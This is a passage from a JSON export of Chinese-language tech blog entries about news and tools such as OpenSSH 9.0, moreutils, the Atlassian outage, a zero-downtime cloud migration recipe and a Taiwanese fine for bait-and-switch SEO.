let’s imagine that you deploy a single Lambda function with 128 MB of memory and an average invocation time of 50 ms. The function receives five million requests every month, so the cost will be $1.00 for the requests, and $0.53 for the duration. The grand total is $1.53 per month, in the US East (N. Virginia) Region.</blockquote>\r\n\r\n這讓我想到可以用 Lambda 當特製的 HTTP proxy 的專案，好像可以拿來整到 <a href=\"https://feedgen.hasname.com/\">feedgen</a> 裡面用？",
    "title": "AWS Lambda 可以直接有 HTTPS Endpoint 了"
  },
  {
    "id": "10651",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=30941097\">Hand-optimizing the TCC code generator (briancallahan.net)</a>」這則，原始文章在「<a href=\"https://briancallahan.net/blog/20220406.html\">Hand-optimizing the TCC code generator</a>」這邊。\r\n\r\n主要是在文章內看到 <a href=\"https://en.wikipedia.org/wiki/Objdump\">objdump</a> 這個東西，作者用這兩個指令看組語：\r\n\r\n<pre>tcc -c true.c\r\nobjdump -d true.o</pre>\r\n\r\n另外同樣道理也可以用 <code>gcc -c true.c</code> 看 <a href=\"https://en.wikipedia.org/wiki/GNU_Compiler_Collection\">GCC</a> 轉出來的版本。\r\n\r\n倒出來的組語是 AT&amp;T 語法，但我熟悉的是 Intel 語法，對我的直覺上需要習慣... 另外我看了一下 GCC 編出來的組語：\r\n\r\n<pre>0000000000000000 &lt;main&gt;:\r\n   0:   f3 0f 1e fa             endbr64 \r\n   4:   55                      push   %rbp\r\n   5:   48 89 e5                mov    %rsp,%rbp\r\n   8:   b8 00 00 00 00          mov    $0x0,%eax\r\n   d:   5d                      pop    %rbp\r\n   e:   c3                      retq</pre>\r\n\r\n第一行的那個 endbr64 指令沒看過，查一下發現原來是 <a href=\"https://www.intel.com/\">Intel</a> 在 CPU 層設計出來的安全機制，標示這個地方可以被 indirect call 進來：「<a href=\"https://stackoverflow.com/questions/56905811/what-does-the-endbr64-instruction-actually-do\">What does the endbr64 instruction actually do?</a>」。\r\n\r\n至於文章裡面主要提到的 <code>mov $0x0, %eax</code> 可以用 <code>xor %eax, %eax</code> 代替 (或是 <code>sub %eax, %eax</code>) 算是很久前就會的東西了...",
    "title": "用 objdump 學到的一些東西..."
  },
  {
    "id": "10652",
    "body": "<a href=\"https://www.openssh.com/\">OpenSSH</a> 9.0 發行了，從 <a href=\"https://www.openssh.com/txt/release-9.0\">release-9.0</a> 這邊可以看到重點，首先是 scp 的底層換掉，改用 SFTP 了，這點在先前「<a href=\"https://blog.gslin.org/archives/2021/09/12/10314/openssh-%E7%9A%84-scp-%E6%94%B9%E7%94%A8-sftp-%E5%8D%94%E5%AE%9A/\">OpenSSH 的 scp 改用 SFTP 協定</a>」這邊也有提到過：\r\n\r\n<blockquote>This release switches scp(1) from using the legacy scp/rcp protocol to using the SFTP protocol by default.</blockquote>\r\n\r\n另外一個是將 OpenSSH 8.9 引入的 post-quantum cipher 放入 default：\r\n\r\n<blockquote>ssh(1), sshd(8): use the hybrid Streamlined NTRU Prime + x25519 key exchange method by default (\"sntrup761x25519-sha512@openssh.com\").  The NTRU algorithm is believed to resist attacks enabled by future quantum computers and is paired with the X25519 ECDH key exchange (the previous default) as a backstop against any weaknesses in NTRU Prime that may be discovered in the future. The combination ensures that the hybrid exchange offers at least as good security as the status quo.\r\n\r\nWe are making this change now (i.e. ahead of cryptographically-relevant quantum computers) to prevent \"capture now, decrypt later\" attacks where an adversary who can record and store SSH session ciphertext would be able to decrypt it once a sufficiently advanced quantum computer is available.</blockquote>\r\n\r\n查了一下 <a href=\"https://ntruprime.cr.yp.to/\">Streamlined NTRU Prime</a> 發現有 <a href=\"https://en.wikipedia.org/wiki/Daniel_J._Bernstein\">djb</a> 參與，而且發現頭銜上面有掛中研院：\r\n\r\n<blockquote>Daniel J. Bernstein, University of Illinois at Chicago, USA, and Ruhr University Bochum, Germany, and Academia Sinica, Taiwan</blockquote>\r\n\r\n清單裡面有不少中研院的人：\r\n\r\n<blockquote>Ming-Shing Chen, Academia Sinica, Taiwan</blockquote>\r\n\r\n<blockquote>Bo-Yuan Peng, National Taiwan University and Academia Sinica, Taiwan</blockquote>\r\n\r\n裡面還看到<a href=\"https://homepage.iis.sinica.edu.tw/pages/byyang/\">魯教授</a>：\r\n\r\n<blockquote>Bo-Yin Yang, Academia Sinica, Taiwan</blockquote>\r\n\r\n後面也有看到計畫相關的資訊：\r\n\r\n<blockquote>Taiwanese authors were supported by Taiwan Ministry of Science and Technology Grants 108-2221-E-001-008 and 109-2221-E-001-009-MY3, Sinica Investigator Award AS-IA-109-M01, Executive Yuan Data Safety and Talent Cultivation Project (AS-KPQ-109-DSTCP).</blockquote>",
    "title": "OpenSSH 9.0 的 scp 與 sntrup761x25519 (Streamlined NTRU Prime)"
  },
  {
    "id": "10653",
    "body": "<a href=\"https://www.raspberrypi.com/software/\">Raspberry Pi OS</a> 改掉預設的帳號 <code>pi</code> 與密碼 <code>raspberry</code> 這個 security hole 了：「<a href=\"https://www.raspberrypi.com/news/raspberry-pi-bullseye-update-april-2022/\">An update to Raspberry Pi OS Bullseye</a>」。\r\n\r\n取而代之的是在安裝時要求使用者建立帳號密碼：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Plj20pT.webp\" /><img src=\"https://i.gslin.com/imgur/Plj20pT.png\" alt=\"\" /></picture>\r\n\r\n如果是 terminal-based 的會是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fYxucl5.webp\" /><img src=\"https://i.gslin.com/imgur/fYxucl5.png\" alt=\"\" /></picture>\r\n\r\n之前裝完都要自己用 <code>vipw</code> 改掉，然後接著修改 <code>/etc/group</code>... (沒有習慣用 <code>vigr</code>)",
    "title": "Raspberry Pi 的 OS 將不會有 pi 這個預設帳號與 raspberry 的密碼，改在裝機時詢問使用者帳號與密碼"
  },
  {
    "id": "10655",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的消息，<a href=\"https://puppet.com/\">Puppet</a> 宣佈被 <a href=\"https://www.perforce.com/\">Perforce</a> 買下，只是標題有點怪：「<a href=\"https://news.ycombinator.com/item?id=30987472\">An Open Letter from the CEO of Puppet: Puppet and Perforce (puppet.com)</a>」，原文連結在「<a href=\"https://puppet.com/blog/an-open-letter-from-the-ceo-of-puppet/\">An Open Letter from the CEO of Puppet: Puppet + Perforce</a>」。\r\n\r\n另外一邊 <a href=\"https://www.perforce.com/\">Perforce</a> 的新聞稿標題比較正常，就是講 Perforce 買下 Puppet：「<a href=\"https://www.perforce.com/press-releases/perforce-acquire-devops-pioneer-puppet\">Perforce to Acquire DevOps Pioneer Puppet</a>」。\r\n\r\n在討論裡面也有人提到用「Open Letter」當公告很奇怪：\r\n\r\n<blockquote>Not sure why this announcement was called an Open Letter?</blockquote>\r\n\r\nAnyway，整體對 Puppet 算是好事... 吧？然後也有人提到這類工具看起來都是被併購：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.ansible.com/\">Ansible</a> 被 <a href=\"https://www.redhat.com/\">Red Hat</a> 買走 (2015 年十月)</li>\r\n\t<li><a href=\"https://saltproject.io/\">Saltstack</a> 被 <a href=\"https://www.vmware.com/\">VMware</a> 買走，以及 <a href=\"https://www.progress.com/\">Progress</a> 買走 <a href=\"https://www.chef.io/\">Chef</a> (都是 2020 年九月)</li>\r\n</ul>\r\n\r\n話說現在用 Ansible 比較多，不過還是可以感覺到他的侷限性 (順便丟出來問看看好了)，像是新機器上要裝 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的憑證，會遇到這樣的步驟：\r\n\r\n<ul>\r\n\t<li>先設定 <a href=\"https://nginx.org/\">nginx</a> 讓 <code>/.well-known/</code> 指到對的路徑下。</li>\r\n\t<li>要 nginx reload。</li>\r\n\t<li>跑 <a href=\"https://dehydrated.io/\">dehydrated</a> 或是 <a href=\"https://certbot.eff.org/\">certbot</a> 之類的軟體申請 <code>test.example.com</code> 的憑證。</li>\r\n\t<li>把 <code>test.example.com</code> 的設定放到 <code>/etc/nginx/sites-available/</code>，然後加上 symbolic link 到 <code>/etc/nginx/sites-enabled/</code> 裡。</li>\r\n\t<li>再 nginx reload 一次。</li>\r\n</ul>\r\n\r\n問題就在 nginx reload 要兩次這件事情，在 Ansible 裡面好像不太好做？看看有沒有什麼想法可以提供... (<a href=\"https://twitter.com/\">Twitter</a>、<a href=\"https://www.facebook.com/\">Facebook</a> 或是 <a href=\"https://www.plurk.com/\">Plurk</a> 上留言都可以)",
    "title": "Perforce 買下 Puppet"
  },
  {
    "id": "10656",
    "body": "<a href=\"https://www.atlassian.com/\">Atlassian</a> 最近好像把 <a href=\"https://www.atlassian.com/software/jira\">Jira</a> 雲端版相關的服務給炸了，本來想等到差不多告一段落再來看看發生什麼事情，直到看到這則推說預估還要兩個星期，看起來還是先寫下來好了，不然會忘記...：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">We just got this from Atlassian??:<br>&quot;We were unable to confirm a more firm ETA until now due to the complexity of the rebuild process for your site. While we are beginning to bring some customers back online, we estimate the rebuilding effort to last for up to 2 more weeks.&quot;</p>&mdash; Kjartan Rekdal Müller (@kjartanmuller) <a href=\"https://twitter.com/kjartanmuller/status/1513462616030683138?ref_src=twsrc%5Etfw\">April 11, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在「<a href=\"https://jira-software.status.atlassian.com/incidents/gms0m979jxbr\">Multiple sites showing down/under maintenance</a>」這邊可以看到從清明節開始炸，到昨天的報告裡面可以看到受到影響的客戶裡面他們只恢復了 35%：\r\n\r\n<blockquote>A small number of Atlassian customers continue to experience service outages and are unable to access their sites. Our global engineering teams are working 24/7 to make progress on this incident. At this time, we have rebuilt functionality for over 35% of the users who are impacted by the service outage, with no reported data loss. The rebuild stage is particularly complex due to several steps that are required to validate sites and verify data. These steps require extra time, but are critical to ensuring the integrity of rebuilt sites. We apologize for the length and severity of this incident and have taken steps to avoid a recurrence in the future.\r\n\r\nPosted 19 hours ago. Apr 11, 2022 - 08:27 UTC</blockquote>\r\n\r\n所以炸掉一個禮拜後大概恢復 1/3，所以的確官方預估還需要兩個禮拜應該差不多？另外在 Hacker News 上也有炸鍋的討論：「<a href=\"https://news.ycombinator.com/item?id=30973808\">Atlassian products have been down for 4 days (atlassian.com)</a>」。\r\n\r\n另外在 <a href=\"https://www.theregister.com/\">The Register</a> 上也有一系列的報導，裡面透漏的比官方的更多：「<a href=\"https://www.theregister.com/2022/04/06/atlassian_jira_confluence_outage/\">Atlassian Jira, Confluence outage persists two days on</a>」、「<a href=\"https://www.theregister.com/2022/04/08/atlassian_service_issues_linger_leaving/\">Atlassian outage lingers, sparking data loss fears</a>」、「<a href=\"https://www.theregister.com/2022/04/11/atlassian_still_down/\">Day 7 of the great Atlassian outage: IT giant still struggling to restore access</a>」、「<a href=\"https://www.theregister.com/2022/04/11/atlassian_outage_backups/\">At last, Atlassian sees an end to its outage ... in two weeks</a>」。\r\n\r\n第一篇的副標題有提到原因：\r\n\r\n<blockquote>'Routine maintenance script' blamed for derailed service for unlucky customers</blockquote>\r\n\r\n第二篇則是提到大約 400 個客戶受到影響：\r\n\r\n<blockquote>We were also told that the incident affects a relatively small number of Atlassian customers: about 400. That's only 0.18 per cent of the company's 226,000 customers, which isn't much consolation to the several hundred who still can't access their data.</blockquote>\r\n\r\n之後再回頭來看所謂的 routine maintenance script 是什麼好了...",
    "title": "這次 Jira 雲端版相關的服務炸鍋的情況 (還在進行中...)"
  },
  {
    "id": "10657",
    "body": "在「<a href=\"https://www.ptt.cc/bbs/SYSOP/M.1649953913.A.02D.html\">[公告] Ptt 即日起關閉無加密的 telnet 連線方式</a>」這邊看到正妹站長公佈關閉 <a href=\"https://en.wikipedia.org/wiki/Telnet\">Telnet</a> 協定了，所以目前應該只剩下 <a href=\"https://en.wikipedia.org/wiki/WebSocket\">WebSocket</a> 與 <a href=\"https://en.wikipedia.org/wiki/SSH\">SSH</a> 了，兩個都有走加密協定...\r\n\r\n偶而還是會拿 Telnet 來用，像是測試 <a href=\"https://en.wikipedia.org/wiki/SMTP\">SMTP</a> server 的時候，而 SMTP 也是少數現在大家頭痛的協定 XDDD\r\n\r\n銀河的歷史又翻過了一頁...",
    "title": "Ptt 正式關閉 Telnet 協定"
  },
  {
    "id": "10659",
    "body": "前幾天看到「<a href=\"https://github.com/popey/unsnap\">unsnap</a>」這個工具，可以把 <a href=\"https://en.wikipedia.org/wiki/Snap_(software)\">Snap</a> 套件轉成 <a href=\"https://en.wikipedia.org/wiki/Flatpak\">Flatpak</a> 套件，不過裡面有提到目前軟體的成熟度還沒有很高：\r\n\r\n<blockquote>Let's say it's \"Pre-alpha\", as in \"It kinda works on my computer\".</blockquote>\r\n\r\n但看起來會是個可以玩看看的東西，目前 Flatpak 的市場份額的確是愈吃愈多...",
    "title": "把 Snap 包裝成 Flatpak 格式的工具"
  },
  {
    "id": "10661",
    "body": "今天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上面看到「<a href=\"https://news.ycombinator.com/item?id=31043655\">Moreutils: A collection of Unix tools that nobody thought to write long ago (joeyh.name)</a>」這則，講 <a href=\"https://joeyh.name/code/moreutils/\">moreutils</a> 這套工具。\r\n\r\n翻了一下之前在「<a href=\"https://blog.gslin.org/archives/2018/06/21/8375/%e7%95%b6%e7%a8%8b%e5%bc%8f%e6%b2%92%e5%95%8f%e9%a1%8c%e6%99%82%e5%b0%b1%e6%9c%83%e5%90%83%e6%8e%89%e8%bc%b8%e5%87%ba%e7%9a%84-chronic/\">當程式沒問題時就會吃掉輸出的 chronic</a>」這邊有提過 <a href=\"https://manpages.ubuntu.com/manpages/jammy/man1/chronic.1.html\">chronic</a> 了，原文的討論裡面也提到了其他工具的用法，像是 <a href=\"https://manpages.ubuntu.com/manpages/jammy/man1/sponge.1.html\">sponge</a> 可以在 pipe stdin 都收完後才開檔案寫入，可以避免 shell 直接先把檔案幹掉的問題：\r\n\r\n<pre>awk '{do_stuff()}' myfile.txt | sort -u | column --table &gt; myfile.txt</pre>\r\n\r\n在這個例子裡面因為 <code>myfile.txt</code> 先被 shell 清空幹掉了，<a href=\"https://en.wikipedia.org/wiki/AWK\">awk</a> 就讀不到東西，這時候可以用 sponge 接，等到 pipe stdin 都收完後才寫檔案：\r\n\r\n<pre>awk '{do_stuff()}' myfile.txt | sort -u | column --table | sponge myfile.txt</pre>\r\n\r\n另外是 <a href=\"https://manpages.ubuntu.com/manpages/jammy/man1/vipe.1.html\">vipe</a>，可以在先將程式輸出的結果丟進 <code>$EDITOR</code> 裡面，然後再往後丟，像是：\r\n\r\n<pre>git branch | vipe | xargs git branch -D</pre>\r\n\r\n還有其他的工具可以用，我自己是把 moreutils 當標配在裝了...",
    "title": "moreutils"
  },
  {
    "id": "10662",
    "body": "一樣是今天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的東西，透過 <a href=\"https://www.youtube.com/\">YouTube</a> 的 Private API 操作 YouTube 的套件：「<a href=\"https://news.ycombinator.com/item?id=31021611\">Youtube.js – full-featured wrapper around YouTube's private API (github.com/luanrt)</a>」。\r\n\r\n這些 Private API 就是 YouTube 自己在網站上用的：\r\n\r\n<blockquote>A full-featured wrapper around the Innertube API, which is what YouTube itself uses.</blockquote>\r\n\r\n也因為這不是 Public API，也就不需要申請 key：\r\n\r\n<blockquote>Do I need an API key to use this?\r\n\r\nNo, YouTube.js does not use any official API so no API keys are required.</blockquote>\r\n\r\n當然可以預期他會無預警壞掉，所以可以自己衡量一下要怎麼搞...\r\n\r\n比較有趣的是 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的討論裡面反而有人在問要怎麼偵測這種 library 或是 bot XDDD\r\n\r\n<blockquote>If you’re YouTube or any site, and want to stop these sort of wrappers - what’s the easiest way to do so without breaking your own site?\r\n\r\nI find this task to be an interesting engineering problem.\r\n\r\nA related question is if there’s an unspoofable way to detect a client.</blockquote>\r\n\r\n不過掃了一下好像還好...",
    "title": "社群維護的 YouTube Private API 套件"
  },
  {
    "id": "10663",
    "body": "<a href=\"https://www.brendangregg.com/\">Brendan Gregg</a> 宣佈離開 <a href=\"https://www.netflix.com/\">Netflix</a>：「<a href=\"https://www.brendangregg.com/blog/2022-04-15/netflix-farewell-1.html\">Netflix End of Series 1</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上他也有跳出來回答一些問題：「<a href=\"https://news.ycombinator.com/item?id=31051662\">Netflix End of Series 1 (brendangregg.com)</a>」。\r\n\r\n看到有些問題還蠻有趣的，像是被問到桌子的大小：\r\n\r\n<blockquote>Off topic: I’m a bit surprised about Gregg’s desk (pre-pandemic). I imagine he’s getting a top level salary at Netflix but yet he’s got a small desk in what it looks to me a shared small office (or perhaps is that a mini open space office? Can’t tell).</blockquote>\r\n\r\n大概是在文章裡面有圖，所以被問：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9vgi8B6.webp\" /><img src=\"https://i.gslin.com/imgur/9vgi8B6.jpg\" alt=\"\" /></picture>\r\n\r\n他的回答：\r\n\r\n<blockquote>A number of times people have asked about my desk over the years, and I'm curious as to why! I've visited other tech companies in the bay area, and the desks I see (including for 7-figure salary engineers) are the same as everyone else, in open office layouts. At Netflix it's been open office desks, and all engineers have the same desk.\r\n\r\nDoes some companies give bigger desks for certain staff, or offices, or is it a country thing (Europe?).</blockquote>\r\n\r\n目前還沒有提到下一份工作是什麼：\r\n\r\n<blockquote>I'll still be posting here in my next job. More on that soon...</blockquote>",
    "title": "Brendan Gregg 離開 Netflix"
  },
  {
    "id": "10664",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=30942698\">Ask HN: Have you ever switched cloud?</a>」這個討論，在講雲端之間的搬遷，其中 <a href=\"https://news.ycombinator.com/user?id=vidarh\">vidarh</a> 的回答可以翻一下...\r\n\r\n首先是他提到原因的部份，基本上都是因為錢的關係，從雲搬到另外一個雲，然後再搬到 Dedicated Hosting 上：\r\n\r\n<blockquote>Yes. I once did zero downtime migration first from AWS to Google, then from Google to Hetzner for a client. Mostly for cost reasons: they had a lot of free credits, and moved to Hetzner when they ran out.\r\n\r\nTheir savings from using the credits were at least 20x what the migrations cost.</blockquote>\r\n\r\n然後他也直接把整理的資料丟出來，首先是在兩端上都先建立 load balancer 類的服務：\r\n\r\n<blockquote>* Set up haproxy, nginx or similar as reverse proxy and carefully decide if you can handle retries on failed queries. If you want true zero-downtime migration there's a challenge here in making sure you have a setup that lets you add and remove backends transparently. There are many ways of doing this of various complexity. I've tended to favour using dynamic dns updates for this; in this specific instance we used Hashicorp's Consul to keep dns updated w/services. I've also used ngx_mruby for instances where I needed more complex backend selection (allows writing Ruby code to execute within nginx)</blockquote>\r\n\r\n再來是打通內網，其實就是 site-to-site VPN：\r\n\r\n<blockquote>* Set up a VPN (or more depending on your networking setup) between the locations so that the reverse proxy can reach backends in both/all locations, and so that the backends can reach databases both places.</blockquote>\r\n\r\n然後建立資料庫的 replication server 以及相關的機制：\r\n\r\n<blockquote>* Replicate the database to the new location.\r\n\r\n* Ensure your app has a mechanism for determining which database to use as the master. Just as for the reverse proxy we used Consul to select. All backends would switch on promoting a replica to master.\r\n\r\n* Ensure you have a fast method to promote a database replica to a master. You don't want to be in a situation of having to fiddle with this. We had fully automated scripts to do the failover.</blockquote>\r\n\r\n然後是確認 application 端可以切換自如：\r\n\r\n<blockquote>* Ensure your app gracefully handles database failure of whatever it thinks the current master is. This is the trickiest bit in some cases, as you either need to make sure updates are idempotent, or you need to make sure updates during the switchover either reliably fail or reliably succeed. In the case I mentioned we were able to safely retry requests, but in many cases it'll be safer to just punt on true zero downtime migration assuming your setup can handle promotion of the new master fast enough (in our case the promotion of the new Postgres master took literally a couple of seconds, during which any failing updates would just translate to some page loads being slow as they retried, but if we hadn't been able to retry it'd have meant a few seconds downtime).</blockquote>\r\n\r\n然後確認新的雲端有足夠的 capacity 撐住流量後，就是要轉移了，首先是降低 DNS TTL：\r\n\r\n<blockquote>Once you have the new environment running and capable of handling requests (but using the database in the old environment):\r\n\r\n* Reduce DNS record TTL.</blockquote>\r\n\r\n然後把舊的 load balancer 指到新的後端，這時候如果發現問題可以快速 rollback 回來：\r\n\r\n<blockquote>* Ensure the new backends are added to the reverse proxy. You should start seeing requests flow through the new backends and can verify error rates aren't increasing. This should be quick to undo if you see errors.</blockquote>\r\n\r\n接著把 DNS 指到新的 load balancer，理論上應該不會有太大問題：\r\n\r\n<blockquote>* Update DNS to add the new environment reverse proxy. You should start seeing requests hit the new reverse proxy, and some of it should flow through the new backends. Wait to see if any issues.</blockquote>\r\n\r\n接著把資料庫切到新的機房，有問題時可以趕快切回去再確認哪邊有狀況：\r\n\r\n<blockquote>* Promote the replica in the new location to master and verify everything still works. Ensure whatever replication you need from the new master works. You should now see all database requests hitting the new master.</blockquote>\r\n\r\n最後的階段就是拔掉舊的架構：\r\n\r\n<blockquote>* Drain connections from the old backends (remove them from the pool, but leave them running until they're not handling any requests). You should now have all traffic past the reverse proxy going via the new environment.\r\n\r\n* Update DNS to remove the old environment reverse proxy. Wait for all traffic to stop hitting the old reverse proxy.\r\n\r\n* When you're confident everything is fine, you can disable the old environment and bring DNS TTL back up.</blockquote>\r\n\r\n其實這個方法跟雲端沒什麼關係，以前搞機房搬遷的時候應該都會規劃過類似的方案，大方向也都類似 (把 stateful services 與 stateless services 拆開來分析)，只是不像雲端的彈性租賃，硬體要準備比較多...\r\n\r\n我記得當年 <a href=\"https://www.instagram.com/\">Instagram</a> 搬進 <a href=\"https://www.facebook.com/\">Facebook</a> 機房的時候也有類似的計畫，之前有提過：「<a href=\"https://blog.gslin.org/archives/2014/06/30/4839/instagram-%e5%be%9e-aws-%e6%90%ac%e5%88%b0-facebook-%e6%a9%9f%e6%88%bf/\">Instagram 從 AWS 搬到 Facebook 機房</a>」。\r\n\r\n台灣最近的話，好像是 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 有把機房搬到 <a href=\"https://cloud.google.com/\">GCP</a> 上面？看看他們之後會不會到 GCP 的場子上發表他們搬遷的過程...",
    "title": "跨雲端的 Zero Downtime 轉移"
  },
  {
    "id": "10665",
    "body": "在「<a href=\"https://flowingdata.com/2022/04/13/social-media-usage-by-age/\">Social Media Usage by Age</a>」這邊看到的文章，把美國人使用社群媒體的情況做成圖，資料來源是 <a href=\"https://www.pewresearch.org/\">Pew Research Center</a> 的「<a href=\"https://www.pewresearch.org/internet/fact-sheet/social-media/\">Social Media Fact Sheet</a>」這裡。\r\n\r\n很明顯的可以看到 <a href=\"https://www.google.com/\">Google</a> (<a href=\"https://en.wikipedia.org/wiki/Alphabet_Inc.\">Alphabet</a>) 基本上就是 <a href=\"https://www.youtube.com/\">YouTube</a> 一個產品吃天下，而 <a href=\"https://www.facebook.com/\">Facebook</a> (<a href=\"https://en.wikipedia.org/wiki/Meta_Platforms\">Meta</a>) 有三個產品在滲透，包括 Facebook、<a href=\"https://www.instagram.com/\">Instagram</a> 與 <a href=\"https://www.whatsapp.com/\">Whatsapp</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TTjkhBr.webp\" /><img src=\"https://i.gslin.com/imgur/TTjkhBr.png\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.linkedin.com/\">LinkedIn</a> 在出社會後會開始用，另外 <a href=\"https://www.pinterest.com/\">Pinterest</a> 這麼多老人家在用到是很驚奇 XDDD",
    "title": "美國人使用社群媒體的情況"
  },
  {
    "id": "10666",
    "body": "好像很少提到國內的新聞，但這則應該是這兩天蠻熱門的一個新聞，創業家兄弟與松果公司 (也是創業家兄弟公司) 被公平會開罰：「<a href=\"https://www.cna.com.tw/news/afe/202204150061.aspx\">操作SEO搜尋關鍵字誤導消費者 創業家兄弟、松果公司挨罰</a>」，相關的備份先留起來：<a href=\"https://web.archive.org/web/20220417074019/https://www.cna.com.tw/news/afe/202204150061.aspx\">Internet Archive</a>、<a href=\"https://archive.ph/Uqd86\">archive.today</a>。\r\n\r\n公平會官方的新聞稿則可以在「<a href=\"https://www.ftc.gov.tw/internet/main/doc/docDetail.aspx?uid=126&amp;docid=17011\">利用程式設計引誘消費者「逛錯街」，公平會開罰</a>」這邊看到，對應的網頁備份：<a href=\"https://web.archive.org/web/20220417074913/https://www.ftc.gov.tw/internet/main/doc/docDetail.aspx?uid=126&amp;docid=17011\">Internet Archive</a>、<a href=\"https://archive.ph/dkB9d\">archive.today</a>。\r\n\r\n用的是公平交易法第 25 條：\r\n\r\n<blockquote>公平會於4月12日第1594次委員會議通過，創業家兄弟股份有限公司及松果購物股份有限公司利用「搜尋引擎優化 (Search Engine Optimization，簡稱ＳＥＯ)」技術，並在搜尋引擎的顯示結果上不當顯示特定品牌名稱，使消費者誤認該賣場有販售特定品牌產品，藉以增進自身網站到訪率，違反公平交易法第25條規定，處創業家兄弟公司200萬元、松果公司80萬元罰鍰。</blockquote>\r\n\r\n這條的條文可以從「<a href=\"https://law.moj.gov.tw/LawClass/LawSingle.aspx?pcode=J0150002&amp;flno=25\">公平交易法&#167;25-全國法規資料庫</a>」這邊看到：\r\n\r\n<blockquote>除本法另有規定者外，事業亦不得為其他足以影響交易秩序之欺罔或顯失公平之行為。</blockquote>\r\n\r\n主要的原因是點進去後卻沒有該項商品：\r\n\r\n<blockquote>公平會發現，消費者在Google搜尋引擎打上特定品牌名稱，例如「悅夢床墊」時，搜尋結果會出現「悅夢床墊的熱銷搜尋結果│生活市集」、「人氣熱銷悅夢床墊口碑推薦品牌整理─松果購物」等搜尋結果，消費者被前述搜尋結果吸引點選進入「生活市集」、「松果購物」網站後，卻發現該賣場並無「悅夢床墊」之產品，此係生活市集及松果購物之經營者創業家兄弟公司及松果公司分別利用ＳＥＯ技術所產生的現象。</blockquote>\r\n\r\n而且會透過使用者在往站上搜尋的關鍵字產生對應的頁面：\r\n\r\n<blockquote>公平會進一步調查後發現，創業家兄弟公司及松果公司對其所經營之「生活市集」及「松果購物」網頁進行設計，只要網路使用者在該2網站搜尋過「悅夢床墊」，縱然該２網站賣場並沒有賣「悅夢床墊」，其網站程式也會主動生成行銷文案網頁，以供搜尋引擎攫取。若有消費者之後在Google搜尋引擎查詢「悅夢床墊」時，搜尋結果便會帶出「悅夢床墊的熱銷搜尋結果│生活市集」、「人氣熱銷悅夢床墊口碑推薦品牌整理─松果購物」等搜尋結果項目，經消費者點選後即會導向「生活市集」、「松果購物」之網站。</blockquote>\r\n\r\n然後判罰的部份：\r\n\r\n<blockquote>公平會過往即曾就事業使用競爭對手事業名稱作為關鍵字廣告，並在關鍵字廣告併列競爭對手事業名稱之行為，認定違反公平交易法第25條規定。本案雖非創業家兄弟公司及松果公司直接使用「悅夢床墊」等他人商品品牌作為關鍵字廣告，但最終呈現之結果，本質上都是「誘導/轉向」(bait-and-switch)的欺罔行為，除了打斷消費者正常的商品搜尋與購買過程，也對其他販售該等品牌商品之經營者形成不公平競爭的效果。若任由發生而不予規範，未來將可能導致其他競爭者之競相仿效，消費者將更難以分辨搜尋結果呈現資訊之真偽，進而威脅電商市場之競爭秩序及消費者利益。故公平會認為違反公平交易法第25條「足以影響交易秩序之欺罔及顯失公平行為」，並分別處創業家兄弟公司200萬元、松果公司80萬元罰鍰。</blockquote>\r\n\r\n所以這算是對 <a href=\"https://en.wikipedia.org/wiki/Dark_pattern\">Dark pattern</a> SEO 的部份開罰...",
    "title": "公平會對創業家兄弟與松果公司的 SEO 誘導轉向開罰"
  },
  {
    "id": "10669",
    "body": "看到「<a href=\"https://www.ghacks.net/2022/04/07/whats-new-in-the-waterfox-g4-1-0-update/\">Waterfox G4.1.0 update reduces requirement to SSE 4.1, sets Startpage as the default search engine for Private Tabs</a>」這篇才發現 Waterfox 在 2019 年年底的時候早就被廣告公司 <a href=\"https://system1.com/\">System1</a> 收購：「<a href=\"https://www.ghacks.net/2020/02/14/waterfox-web-browser-sold-to-system1/\">Waterfox web browser sold to System1</a>」，過了兩個多月被 <a href=\"https://www.ghacks.net/\">Ghacks</a> 寫成新聞後才發表對應的公告：「<a href=\"https://www.ghacks.net/2020/02/14/waterfox-web-browser-sold-to-system1/\">Waterfox has joined System1</a>」。\r\n\r\n先前研究 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的替代品時有列到清單裡找機會測，看起來可以跳過了...\r\n\r\n而這次的報導則是題到了 Waterfox 將 Private Tabs 的預設搜尋引擎改成 <a href=\"https://www.startpage.com/\">Startpage</a>，關於 Startpage 之前在「<a href=\"https://blog.gslin.org/archives/2019/10/28/9258/startpage-%E8%A2%AB%E5%BB%A3%E5%91%8A%E5%85%AC%E5%8F%B8%E6%94%B6%E8%B3%BC/\">Startpage 被廣告公司收購</a>」這邊也提過了...",
    "title": "原來 Waterfox 早就被廣告公司收購了..."
  },
  {
    "id": "10670",
